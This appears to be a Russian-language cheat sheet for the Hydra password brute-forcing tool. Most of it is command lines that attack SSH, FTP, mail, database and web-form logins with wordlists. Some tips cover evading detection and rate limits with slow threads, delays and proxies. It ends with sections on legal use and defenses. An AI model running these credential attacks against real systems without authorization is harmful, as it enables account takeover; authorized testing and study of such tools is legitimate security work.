Шпаргалка по Hydra

Базовый синтаксис и установка

Установка: sudo apt install hydra

Hydra обычно предустановлена в Kali Linux, но может быть установлена и в других дистрибутивах.

# Установка в системах Debian/Ubuntu
sudo apt install hydra
# Установка в других системах
sudo apt-get install hydra
# Проверка установки
hydra -h
# Проверка поддерживаемых протоколов
hydra

Базовый синтаксис: hydra [options] target service

Базовый синтаксис: hydra -l <username> -P <password_file> <target_protocol>://<target_address>

# Одиночное имя пользователя, список паролей
hydra -l username -P passwords.txt target.com ssh
# Список имен пользователей, список паролей
hydra -L users.txt -P passwords.txt target.com ssh
# Одиночное имя пользователя, одиночный пароль
hydra -l admin -p password123 192.168.1.100 ftp

Основные опции: -l, -L, -p, -P

Указывают имена пользователей и пароли для атаки методом перебора.

# Опции имени пользователя
-l username          # Одиночное имя пользователя
-L userlist.txt      # Файл со списком имен пользователей
# Опции пароля
-p password          # Одиночный пароль
-P passwordlist.txt  # Файл со списком паролей
# Общее расположение списков слов
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/metasploit/unix_passwords.txt

Опции вывода: -o, -b

Сохранение результатов в файл для последующего анализа.

# Сохранить результаты в файл
hydra -l admin -P passwords.txt target.com ssh -o results.txt
# Формат вывода JSON
hydra -l admin -P passwords.txt target.com ssh -b json
# Подробный вывод
hydra -l admin -P passwords.txt target.com ssh -V

Атаки, специфичные для протоколов

SSH: hydra target ssh

Атака на SSH-сервисы с комбинациями имен пользователей и паролей.

# Базовая атака SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh
# Несколько имен пользователей
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
# Пользовательский порт SSH
hydra -l admin -P passwords.txt 192.168.1.100 -s 2222 ssh
# С использованием потоков (threading)
hydra -l root -P passwords.txt -t 6 ssh://192.168.1.100

FTP: hydra target ftp

Перебор учетных данных для входа в FTP.

# Базовая атака FTP
hydra -l admin -P passwords.txt ftp://192.168.1.100
# Проверка анонимного FTP
hydra -l anonymous -p "" ftp://192.168.1.100
# Пользовательский порт FTP
hydra -l user -P passwords.txt -s 2121 192.168.1.100 ftp

Атаки на базы данных: mysql, postgres, mssql

Атака на сервисы баз данных методом перебора учетных данных.

# Атака MySQL
hydra -l root -P passwords.txt 192.168.1.100 mysql
# Атака PostgreSQL
hydra -l postgres -P passwords.txt 192.168.1.100 postgres
# Атака MSSQL
hydra -l sa -P passwords.txt 192.168.1.100 mssql
# Атака MongoDB
hydra -l admin -P passwords.txt 192.168.1.100 mongodb

SMTP/Email: hydra target smtp

Атака на аутентификацию почтового сервера.

# Перебор SMTP
hydra -l admin -P passwords.txt smtp://mail.target.com
# С пустыми паролями
hydra -P passwords.txt -e ns -V -s 25 smtp.target.com smtp
# Атака IMAP
hydra -l user -P passwords.txt imap://mail.target.com

Атаки на веб-приложения

Веб-формы HTTP POST: http-post-form

Атака на веб-формы входа с использованием метода HTTP POST с заполнителями ^USER^ и ^PASS^.

# Базовая атака формы POST
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"
# С пользовательским сообщением об ошибке
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid password"
# С условием успеха
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/admin:username=^USER^&password=^PASS^:S=Dashboard"

Веб-формы HTTP GET: http-get-form

Аналогично формам POST, но нацелено на GET-запросы.

# Атака формы GET
hydra -l admin -P passwords.txt 192.168.1.100 http-get-form "/login:username=^USER^&password=^PASS^:F=Invalid"
# С пользовательскими заголовками
hydra -l admin -P passwords.txt 192.168.1.100 http-get-form "/auth:user=^USER^&pass=^PASS^:F=Error:H=Cookie: session=abc123"

HTTP Basic Auth: http-get/http-post

Атака на веб-серверы с использованием базовой HTTP-аутентификации.

# Базовая HTTP-аутентификация
hydra -l admin -P passwords.txt http-get://192.168.1.100
# Базовая HTTPS-аутентификация
hydra -l admin -P passwords.txt https-get://secure.target.com
# С пользовательским путем
hydra -l admin -P passwords.txt http-get://192.168.1.100/admin

Расширенные веб-атаки

Обработка сложных веб-приложений с токенами CSRF и файлами cookie.

# С обработкой токена CSRF
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^&csrf=^CSRF^:F=Error:H=Cookie: csrf=^CSRF^"
# С файлами cookie сессии
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid:H=Cookie: PHPSESSID=abc123"

Опции производительности и потоков

Потоки (Threading): -t (Задачи)

Управление количеством одновременных соединений при атаке.

# Потоки по умолчанию (16 задач)
hydra -l admin -P passwords.txt target.com ssh
# Пользовательское количество потоков
hydra -l admin -P passwords.txt -t 4 target.com ssh
# Высокопроизводительная атака (использовать с осторожностью)
hydra -l admin -P passwords.txt -t 64 target.com ssh
# Консервативные потоки (избегать обнаружения)
hydra -l admin -P passwords.txt -t 1 target.com ssh

Время ожидания: -w (Задержка)

Добавление задержек между попытками, чтобы избежать ограничения скорости и обнаружения.

# Ожидание 30 секунд между попытками
hydra -l admin -P passwords.txt -w 30 target.com ssh
# Комбинация с потоками
hydra -l admin -P passwords.txt -t 2 -w 10 target.com ssh
# Случайная задержка (1-5 секунд)
hydra -l admin -P passwords.txt -W 5 target.com ssh

Несколько целей: -M (Файл целей)

Атака на несколько хостов, указанных в файле.

# Создать файл целей
echo "192.168.1.100" > targets.txt
echo "192.168.1.101" >> targets.txt
echo "192.168.1.102" >> targets.txt
# Атака на несколько целей
hydra -L users.txt -P passwords.txt -M targets.txt ssh
# С пользовательскими потоками для каждой цели
hydra -L users.txt -P passwords.txt -M targets.txt -t 2 ssh

Опции возобновления и остановки

Возобновление прерванных атак и управление поведением остановки.

# Остановить после первого успеха
hydra -l admin -P passwords.txt -f target.com ssh
# Возобновить предыдущую атаку
hydra -R
# Создать файл восстановления
hydra -l admin -P passwords.txt -I restore.txt target.com ssh

Расширенные функции и опции

Генерация паролей: -e (Дополнительные тесты)

Автоматическое тестирование дополнительных вариаций паролей.

# Проверить пустые пароли
hydra -l admin -e n target.com ssh
# Проверить имя пользователя как пароль
hydra -l admin -e s target.com ssh
# Проверить обратное имя пользователя
hydra -l admin -e r target.com ssh
# Комбинировать все опции
hydra -l admin -e nsr -P passwords.txt target.com ssh

Формат, разделенный двоеточием: -C

Использование комбинаций имя_пользователя:пароль для сокращения времени атаки.

# Создать файл учетных данных
echo "admin:admin" > creds.txt
echo "root:password" >> creds.txt
echo "user:123456" >> creds.txt
# Использовать формат с двоеточием
hydra -C creds.txt target.com ssh
# Быстрее, чем тестирование полных комбинаций

Поддержка прокси: HYDRA_PROXY

Использование прокси-серверов для атак через переменные окружения.

# HTTP прокси
export HYDRA_PROXY=connect://proxy.example.com:8080
hydra -l admin -P passwords.txt target.com ssh
# SOCKS4 прокси с аутентификацией
export HYDRA_PROXY=socks4://user:pass@127.0.0.1:1080
# SOCKS5 прокси
export HYDRA_PROXY=socks5://proxy.example.com:1080

Оптимизация списка паролей: pw-inspector

Использование pw-inspector для фильтрации списков паролей на основе политик.

# Фильтрация паролей (мин. 6 символов, 2 класса символов)
cat passwords.txt | pw-inspector -m 6 -c 2 -n > filtered.txt
# Использование отфильтрованного списка с Hydra
hydra -l admin -P filtered.txt target.com ssh
# Сначала удалить дубликаты
cat passwords.txt | sort | uniq > unique_passwords.txt

Этичное использование и лучшие практики

Юридические и этические нормы

Hydra может использоваться как в законных, так и в незаконных целях. Получите соответствующее разрешение и одобрение перед выполнением атак методом перебора.

Выполняйте атаки только на системы, на которые получено явное разрешение
Всегда убедитесь, что у вас есть явное разрешение от владельца системы или администратора
Документируйте все тестовые действия для соблюдения требований
Используйте только во время авторизованного тестирования на проникновение
Никогда не используйте для несанкционированных попыток доступа

Меры защиты

Защита от атак методом перебора с помощью надежных паролей и политик.

Внедряйте политики блокировки учетных записей для временной блокировки учетных записей после неудачных попыток
Используйте многофакторную аутентификацию (MFA)
Внедряйте системы CAPTCHA для предотвращения использования автоматизированных инструментов
Мониторинг и логирование попыток аутентификации
Внедрение ограничения скорости и блокировки по IP

Лучшие практики тестирования

Начинайте с консервативных настроек и документируйте все действия для обеспечения прозрачности.

Начинайте с низкого количества потоков, чтобы избежать сбоев в работе сервиса
Используйте списки слов, подходящие для целевой среды
По возможности проводите тестирование в утвержденные окна обслуживания
Отслеживайте производительность целевой системы во время тестирования
Имейте готовые процедуры реагирования на инциденты

Общие сценарии использования

Команды Red и Blue Team извлекают выгоду из аудита паролей, оценки безопасности и тестирования на проникновение.

Взлом паролей для выявления слабых паролей и оценки надежности паролей
Аудит безопасности сетевых служб
Тестирование на проникновение и оценка уязвимостей
Тестирование соответствия политикам паролей
Учебные демонстрации

Альтернатива GUI и дополнительные инструменты

XHydra: Графический интерфейс

XHydra — это графический интерфейс для Hydra, который позволяет выбирать конфигурацию с помощью элементов управления GUI вместо переключателей командной строки.

# Запуск графического интерфейса XHydra
xhydra
# Установка, если недоступно
sudo apt install hydra-gtk
# Возможности:
# - Интерфейс "наведи и щелкни"
# - Предварительно настроенные шаблоны атак
# - Визуальный мониторинг прогресса
# - Простой выбор цели и списка слов

Hydra Wizard: Интерактивная настройка

Интерактивный мастер, который помогает пользователям настроить Hydra с помощью простых вопросов.

# Запуск интерактивного мастера
hydra-wizard
# Мастер запрашивает:
# 1. Сервис для атаки
# 2. Цель для атаки
# 3. Имя пользователя или файл с именами пользователей
# 4. Пароль или файл с паролями
# 5. Дополнительные тесты паролей
# 6. Номер порта
# 7. Финальное подтверждение

Списки паролей по умолчанию: dpl4hydra

Генерация списков паролей по умолчанию для конкретных брендов и систем.

# Обновить базу данных по умолчанию
dpl4hydra refresh
# Сгенерировать список для конкретного бренда
dpl4hydra cisco
dpl4hydra netgear
dpl4hydra linksys
# Использовать сгенерированные списки
hydra -C dpl4hydra_cisco.lst 192.168.1.1 ssh
# Все бренды
dpl4hydra all

Интеграция с другими инструментами

Объединение Hydra с инструментами разведки и перечисления.

# Объединение с обнаружением сервисов Nmap
nmap -sV 192.168.1.0/24 | grep -E "(ssh|ftp|http)"
# Использование результатов перечисления имен пользователей
enum4linux 192.168.1.100 | grep "user:" > users.txt
# Интеграция со списками слов Metasploit
ls /usr/share/wordlists/metasploit/

Устранение неполадок и производительность

Распространенные проблемы и решения

Решение типичных проблем, возникающих при использовании Hydra.

# Ошибки таймаута соединения
hydra -l admin -P passwords.txt -t 1 -w 30 target.com ssh
# Ошибка "слишком много соединений"
hydra -l admin -P passwords.txt -t 2 target.com ssh
# Оптимизация использования памяти
hydra -l admin -P small_list.txt target.com ssh
# Проверить поддерживаемые протоколы
hydra
# Посмотреть список поддерживаемых сервисов

Оптимизация производительности

Оптимизация списков паролей и сортировка по вероятности для более быстрых результатов.

# Сортировать пароли по вероятности
hydra -l admin -P passwords.txt -u target.com ssh
# Удалить дубликаты
sort passwords.txt | uniq > clean_passwords.txt
# Оптимизация потоков в зависимости от цели
# Локальная сеть: -t 16
# Цель в Интернете: -t 4
# Медленный сервис: -t 1

Форматы вывода и анализ

Различные форматы вывода для анализа результатов и составления отчетов.

# Стандартный текстовый вывод
hydra -l admin -P passwords.txt target.com ssh -o results.txt
# Формат JSON для парсинга
hydra -l admin -P passwords.txt target.com ssh -b json -o results.json
# Подробный вывод для отладки
hydra -l admin -P passwords.txt target.com ssh -V
# Вывод только успешных результатов
hydra -l admin -P passwords.txt target.com ssh | grep "password:"

Мониторинг ресурсов

Мониторинг системных и сетевых ресурсов во время атак.

# Мониторинг использования ЦП
top -p $(pidof hydra)
# Мониторинг сетевых соединений
netstat -an | grep :22
# Мониторинг использования памяти
ps aux | grep hydra
# Ограничение влияния на систему
nice -n 19 hydra -l admin -P passwords.txt target.com ssh

Связанные ссылки

• Шпаргалка по Kali Linux
• Шпаргалка по кибербезопасности
• Шпаргалка по Nmap
• Шпаргалка по Wireshark
• Шпаргалка по CompTIA
• Шпаргалка по Linux
• Шпаргалка по Shell
• Шпаргалка по DevOps